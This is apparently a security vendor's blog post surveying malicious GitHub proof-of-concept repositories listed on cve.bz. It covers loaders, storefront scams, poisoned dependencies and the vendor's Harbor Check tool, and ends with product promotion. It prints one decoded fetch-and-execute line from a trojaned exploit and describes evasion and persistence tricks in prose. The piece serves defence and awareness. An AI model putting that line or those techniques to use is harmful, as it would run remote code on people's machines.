A repository with 383 stars. One Python file. A clean banner, an argument parser, a request to the vulnerable WordPress endpoint. It looks like every other proof of concept for that CVE.
One line near the bottom is different. A long encoded string, unpacked and executed. Decoded, it says this:
import requests; exec(requests.get("https://pastebin.com/raw/[redacted]").text)
Run the "exploit" and it downloads whatever sits at that address and runs it on your machine. Not on the target. On you.
We read what sat there. A short script that checks whether you are on Windows. If you are, it fetches a program from a server on an odd port, strips the mark Windows puts on downloaded files so no warning appears, and runs it with no window. On Linux or a Mac it prints one line and exits, so a researcher testing it there sees nothing wrong.
What the 383-star “exploit” does when you run it
- You run itIt looks like every other PoC for the CVE.
- One encoded lineFetches a script from a paste site and executes it.
- Checks for WindowsOn Linux or a Mac it prints one line and exits.
- Downloads a programStrips the mark that would trigger a warning.
- Runs it, hiddenOn your machine, not the target.
cve.bz linked to that repository. So did every other site that lists GitHub PoCs by name. We took it down from ours the same day.
The audience is the target
Anyone can publish a repository called CVE-2026-12345-exploit. The people who go looking for one are worth attacking: security staff, often on a work machine, about to run a stranger's code. A star count is not a review.
cve.bz lists these repositories because they are useful. Until now the section said "unverified" and told you to read the code first. That is honest. It is not much help at two in the morning with a patch deadline.
What 5,692 listings look like
We started with two samples of about 50, then a month of new repositories, then all of it: every GitHub PoC cve.bz listed, for 3,109 CVEs. 91 had already vanished from GitHub. We read the rest.
5,692 listings, drawn to scale
- 3,512implement the CVE’s exploit
- 2,112do not, or not enough to tell
- 68bait: 66 repositories on 30 accounts
| What it was | Listings |
|---|---|
| Implements the CVE's exploit | 3,512 |
| Does not, or not enough to tell | 2,112 |
| Bait: built to cost the person who runs it, or the systems it is used on | 68 (66 repositories, 30 accounts) |
Six in ten are real. That is better than we expected.
The rest is a mix:
- A README and nothing else. One was 159 bytes: the CVE's description, pasted.
- A detection script or a version checker. Useful, not an exploit.
- A lab with the vulnerable app and no exploit step.
- A working exploit for a different bug. One repository with 144 stars implements a session injection. The CVE in its name is a memory bug.
- A scanner shipped with a list of real hosts.
None of that is visible from a search result.
A popular CVE makes it worse. One had 234 repositories, and two in three were real. Another had 146, and one in three was.
Two crowded CVEs, side by side
One CVE
234 repositories
Two in three were real.
Another
146 repositories
One in three was.
Age changes little. For CVEs from before 2020 to this year the share that is real stays between 53% and 66%.
66 that were bait
One in a hundred. They come in a few kinds.
The 66 bait repositories, by kind
Loaders and implants. The 383-star repository above is one. Another carries a Windows program inside the script, loads it in memory and makes it survive a reboot. Another drops a worm and a coin miner on the Linux machine of whoever runs it. One is a "kernel test" that never touches the kernel, always prints NOT AFFECTED, and carries an SSH backdoor.
Storefronts. 32 repositories on 13 accounts, and no code in any of them. A README describing an exploit in convincing detail, usage examples for a script that is not there, and a shortened "Download" link. Every link leads to the same pay-to-download site. One account ran 15 of them. Some describe the wrong vulnerability.
Fake scanners. A handful of throwaway accounts with the same template: a README, a "scanner" to download, and an executable that has nothing to do with the CVE.
A phishing page. A tidy advisory with a "Run Automated Scan" button. The button asks you to give a stranger's GitHub app full access to your repositories.
Tools that backdoor the target. Two working exploits whose default payload is fetched from the author's own server. You get your shell. So does the author.
Clean PoCs with a poisoned dependency. This is the one that worries us.
The exploit code is real. It reads well. It implements the technique. A careful reviewer would pass it, and two independent reads of the code did.
The problem is one line in requirements.txt: a small utility package, published three months ago, by an author with nothing else to their name. That package is harmless. It depends on a second package from the same author, which ships no source, only compiled binaries. The compiled part claims to calculate entropy.
Where the malware sits: two steps away from the code you read
- The PoCReal exploit code. Reads well. Passes review.
- requirements.txtOne line names a small utility package.
- Utility packageHarmless. Three months old, unknown author.
- Its dependencySame author. No source, only compiled binaries.
- PersistenceWrites files Python loads at every start.
We took it apart without running it. An honest module of that kind sets itself up in a few dozen bytes. This one takes ten thousand. Before it does anything about entropy, it looks through every module loaded in your Python process for one particular name. That name is the key. With it, the module decrypts data hidden inside itself and writes files into a folder Python loads at every start. From then on, whatever it wrote runs each time you start Python, long after the PoC is deleted.
We could not recover the key, so we do not know what the files contain. We know what the module does, and no entropy function does that.
Three brand-new GitHub accounts, ten repositories, one dependency. You would never see it by reading the PoC.
Harbor Check
Flawharbor already has a code auditor. CodeRed reads source the way a tester does, and its findings are what our platform tracks to verified closure.
Harbor Check is CodeRed pared down to one question: does this code do what the CVE says, and does it do anything to the person running it?
It reads a repository against the CVE's affected product, weakness and exploitation technique. It looks at what the code pulls in, not only at the code. Nothing is executed.
On cve.bz a repository that passes shows Harbor Check: matches CVE next to its link and moves to the top of the CVE's list.
How it looks on a CVE’s page (illustration)
- researcher/CVE-2026-12345 Harbor Check: matches CVE 212 stars, Python
- someone/CVE-2026-12345-poc Harbor Check: matches CVE 18 stars, Go
- another/CVE-2026-12345-exploit 383 stars, Python
What the mark means
- The code was read against the CVE and implements the technique.
- It was read, not run.
- Its direct dependencies were checked for warning signs, not read line by line.
- The verdict expires when the repository changes.
What it does not mean
Safe, or endorsed. It is a pointer, not a guarantee.
Read the code before you run it. The mark tells you which code is worth reading first.
Repositories that do not pass stay listed without the mark. Ones that appear built to act against the person running them, or to hand their author access to the systems they are used on, are removed and reported.
What we got wrong
Our first pass did not look at dependencies at all. One of the poisoned PoCs passed in that pass. The check that caught it was added after someone asked a simple question: what if the import is the malware?
A match means the technique is implemented. It does not mean we watched it work. One repository builds the documented trigger, and its own README says the trigger never reached the vulnerable code in testing.
A verdict that removes a link is never automatic. A person reads the code first. Early on, working exploits were flagged as malicious because they plant a shell on the target. That is what an exploit does. It is not the same as attacking the user, and telling the two apart took work.
Try it
Look up a CVE on cve.bz and scroll to the GitHub PoC section. The verdicts are in the free JSON API too.
cve.bz is built by Flawharbor, where findings from your scanners and testers are tracked to verified closure.
Flawharbor Cloud is in private beta. Pentest reporting and exposure management, with every finding tracked to verified closure.
Join the beta list